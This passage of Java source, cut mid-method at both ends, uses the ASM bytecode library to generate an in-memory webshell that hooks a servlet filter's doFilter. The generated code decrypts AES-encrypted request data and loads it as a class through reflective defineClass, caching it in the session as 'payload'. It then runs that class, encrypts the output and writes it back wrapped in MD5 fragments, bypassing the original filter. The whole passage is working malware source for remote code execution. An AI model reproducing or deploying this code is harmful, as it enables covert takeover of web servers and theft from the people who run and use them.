mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn("parameters");
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
mv.visitTypeInsn(Opcodes.NEW, "java/io/ByteArrayOutputStream");
mv.visitInsn(Opcodes.DUP);
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, "java/io/ByteArrayOutputStream",
"<init>", "()V", false);
mv.visitVarInsn(Opcodes.ASTORE, arrOutIndex); // Store arrOut in local var 25
// Object f = ((Class<?>) sessionPayload).newInstance();
mv.visitVarInsn(Opcodes.ALOAD, sessionPayloadIndex); // Load sessionPayload
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance",
"()Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, instanceIndex); // Store f in local var 26
// f.equals(arrOut);
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals",
"(Ljava/lang/Object;)Z", false);
mv.visitInsn(Opcodes.POP); // Discard result
// f.equals(request);
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "equals",
"(Ljava/lang/Object;)Z", false);
mv.visitInsn(Opcodes.POP); // Discard result
// PrintWriter writer = (PrintWriter)
// response.getClass().getMethod("getWriter").invoke(response);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getWriter");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, responseIndex); // Load response
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/io/PrintWriter");
mv.visitVarInsn(Opcodes.ASTORE, writerIndex); // Store writer in local var 27
// writer.write(md5.substring(0, 16));
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5
mv.visitInsn(Opcodes.ICONST_0);
mv.visitIntInsn(Opcodes.BIPUSH, 16);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring",
"(II)Ljava/lang/String;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
"(Ljava/lang/String;)V", false);
// f.toString();
mv.visitVarInsn(Opcodes.ALOAD, instanceIndex); // Load f
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "toString",
"()Ljava/lang/String;", false);
mv.visitInsn(Opcodes.POP); // Discard result
// Re-initialize cipher for encryption
// cipherInitMethod.invoke(cipher, 1, secretKeySpec);
mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load cipherInitMethod
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitInsn(Opcodes.ICONST_1); // Constant 1 for Cipher.ENCRYPT_MODE
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
"(I)Ljava/lang/Integer;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// byte[] encryptBytes = (byte[]) doFinalMethod.invoke(cipher,
// arrOut.toByteArray());
mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, arrOutIndex); // Load arrOut
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/ByteArrayOutputStream",
"toByteArray", "()[B", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "[B");
mv.visitVarInsn(Opcodes.ASTORE, encryptBytesIndex); // Store encryptBytes in local var 28
tryEncodeBase64(base64ClassIndex, encoderClassIndex, encryptBytesIndex, resultIndex, base64EncodeExceptionIndex);
// writer.write(result);
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
mv.visitVarInsn(Opcodes.ALOAD, resultIndex); // Load result
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
"(Ljava/lang/String;)V", false);
// writer.write(md5.substring(16));
mv.visitVarInsn(Opcodes.ALOAD, writerIndex); // Load writer
mv.visitVarInsn(Opcodes.ALOAD, md5Index); // Load md5
mv.visitIntInsn(Opcodes.BIPUSH, 16);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "substring",
"(I)Ljava/lang/String;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/io/PrintWriter", "write",
"(Ljava/lang/String;)V", false);
// Return from the method without calling original doFilter
mv.visitInsn(Opcodes.RETURN);
// Label for when header value doesn't match
mv.visitLabel(ifNullLabel);
// End of try block
mv.visitLabel(tryEnd);
// Skip catch block if we didn't enter it
Label afterCatch = new Label();
mv.visitJumpInsn(Opcodes.GOTO, afterCatch);
// Start of catch block
mv.visitLabel(catchHandler);
// The exception is now on the stack
mv.visitVarInsn(Opcodes.ASTORE, outerExceptionIndex); // Store exception in local var 10 and discard it
mv.visitVarInsn(Opcodes.ALOAD, outerExceptionIndex);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
// End of catch block
mv.visitLabel(afterCatch);
}
private void tryEncodeBase64(int base64ClassIndex, int encoderClassIndex, int encryptBytesIndex, int resultIndex, int base64EncodeExceptionIndex) {
// Encoding encrypted bytes with Base64
// Try first with java.util.Base64
Label base64EncodeTrialStart = new Label();
Label base64EncodeCatch = new Label();
Label afterBase64Encode = new Label();
mv.visitTryCatchBlock(base64EncodeTrialStart, afterBase64Encode, base64EncodeCatch, "java/lang/Throwable");
mv.visitLabel(base64EncodeTrialStart);
// base64 = Class.forName("java.util.Base64");
mv.visitLdcInsn("java.util.Base64");
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;)Ljava/lang/Class;",
false);
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29
// Object encoder = base64.getMethod("getEncoder").invoke(base64);
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
mv.visitLdcInsn("getEncoder");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30
// result = (String) encoder.getClass().getMethod("encodeToString",
// byte[].class).invoke(encoder, encryptBytes);
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("encodeToString");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("[B"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31
mv.visitJumpInsn(Opcodes.GOTO, afterBase64Encode);
// Fallback to sun.misc.BASE64Encoder
mv.visitLabel(base64EncodeCatch);
mv.visitVarInsn(Opcodes.ASTORE, base64EncodeExceptionIndex); // Store exception in local var 32
// base64 = Class.forName("sun.misc.BASE64Encoder");
mv.visitLdcInsn("sun.misc.BASE64Encoder");
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;)Ljava/lang/Class;",
false);
mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29
// Object encoder = base64.newInstance();
mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance",
"()Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30
// result = (String) encoder.getClass().getMethod("encode",
// byte[].class).invoke(encoder, encryptBytes);
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("encode");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("[B"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String");
mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31
mv.visitLabel(afterBase64Encode);
}
private void defineClassWhenFirstInvoke(int defineClassIndex, int dataIndex, int payloadClassIndex, int sessionIndex) {
// Define class from bytes
// Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass",
// byte[].class, int.class, int.class);
mv.visitLdcInsn(Type.getType("Ljava/lang/ClassLoader;"));
mv.visitLdcInsn("defineClass");
mv.visitInsn(Opcodes.ICONST_3);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("[B"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE",
"Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_2);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE",
"Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class",
"getDeclaredMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ASTORE, defineClassIndex); // Store defineClass in local var 23
// defineClass.setAccessible(true);
mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"setAccessible", "(Z)V", false);
// Class<?> payload = (Class<?>)
// defineClass.invoke(Thread.currentThread().getContextClassLoader(),
// data, 0, data.length);
mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread",
"()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread",
"getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitInsn(Opcodes.ICONST_3);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
"(I)Ljava/lang/Integer;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_2);
mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data
mv.visitInsn(Opcodes.ARRAYLENGTH);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf",
"(I)Ljava/lang/Integer;", false);
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, payloadClassIndex); // Store payload class in local var 24
// session.getClass().getMethod("setAttribute", String.class, Object.class)
// .invoke(session, "payload", payload);
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("setAttribute");
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitLdcInsn(Type.getType("Ljava/lang/Object;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn("payload");
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, payloadClassIndex); // Load payload class
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitInsn(Opcodes.POP);
// If first-time class loading - return true
mv.visitInsn(Opcodes.RETURN);
}
private void getSessionPayload(int requestIndex, int sessionIndex, int sessionPayloadIndex) {
// Get session
// Object session =
// request.getClass().getMethod("getSession").invoke(request);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getSession");
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request
mv.visitInsn(Opcodes.ICONST_0);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, sessionIndex); // Store session in local var 21
// Get sessionPayload
// Object sessionPayload = session.getClass().getMethod("getAttribute",
// String.class)
// .invoke(session, "payload");
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass",
"()Ljava/lang/Class;", false);
mv.visitLdcInsn("getAttribute");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn("payload");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method",
"invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, sessionPayloadIndex); // Store sessionPayload in local var 22
}
private void decryptData(int cipherClassIndex, int secretKeySpecClassIndex, int keyClassIndex, int cipherInitMethodIndex, int doFinalMethodIndex, int cipherIndex, int keyIndex, int secretKeySpecIndex, int dataIndex) {
// Load crypto classes
// Class<?> cipherClass = Class.forName("javax.crypto.Cipher"...
mv.visitLdcInsn("javax.crypto.Cipher");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, cipherClassIndex); // Store cipherClass in local var 14
// Class<?> secretKeySpecClass =
// Class.forName("javax.crypto.spec.SecretKeySpec"...
mv.visitLdcInsn("javax.crypto.spec.SecretKeySpec");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecClassIndex); // Store secretKeySpecClass in local var 15
// Class<?> keyClass = Class.forName("java.security.Key"...
mv.visitLdcInsn("java.security.Key");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader",
"()Ljava/lang/ClassLoader;", false);
mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName",
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false);
mv.visitVarInsn(Opcodes.ASTORE, keyClassIndex); // Store keyClass in local var 16
// Get cipher methods
// Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass);
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
mv.visitLdcInsn("init");
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1);
mv.visitVarInsn(Opcodes.ALOAD, keyClassIndex); // Load keyClass
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ASTORE, cipherInitMethodIndex); // Store cipherInitMethod in local var 17
// Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class);
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
mv.visitLdcInsn("doFinal");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("[B"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ASTORE, doFinalMethodIndex); // Store doFinalMethod in local var 18
// Create cipher and secret key
// Object cipher = cipherClass.getMethod("getInstance",
// String.class).invoke(cipherClass, "AES");
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
mv.visitLdcInsn("getInstance");
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn(Type.getType("Ljava/lang/String;"));
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod",
"(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass
mv.visitInsn(Opcodes.ICONST_1);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitLdcInsn("AES");
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke",
"(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, cipherIndex); // Store cipher in local var 19
// Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class,
// String.class)
// .newInstance(key.getBytes(), "AES");
mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecClassIndex); // 加载 secretKeySpecClass
mv.visitInsn(Opcodes.ICONST_2); // 构造函数参数数量为 2
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); // 创建 Class[] 数组
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0
mv.visitLdcInsn(Type.getType("[B")); // byte[].class
mv.visitInsn(Opcodes.AASTORE);
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1
mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); // String.class
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getConstructor",
"([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;", false);
// 准备构造函数参数
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0
// 调用 key.getBytes()
mv.visitVarInsn(Opcodes.ALOAD, keyIndex); // 加载 key
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false);
mv.visitInsn(Opcodes.AASTORE); // 存储 byte[] 到参数数组
// 存储第二个参数 "AES"
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1
mv.visitLdcInsn("AES"); // 加载字符串 "AES"
mv.visitInsn(Opcodes.AASTORE);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Constructor", "newInstance",
"([Ljava/lang/Object;)Ljava/lang/Object;", false);
mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecIndex); // Store secretKeySpec in local var 20
// Initialize cipher for decryption
// cipherInitMethod.invoke(cipher, 2, secretKeySpec);
mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load
// cipherInitMethod
mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher
mv.visitInsn(Opcodes.ICONST_2);
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
mv.visitInsn(Opcodes.DUP);
mv.visitInsn(Opcodes.ICONST_0);
mv.visitInsn(Opcodes.ICONST_2); // Constant 2 for Cipher.DECRYPT_MODE
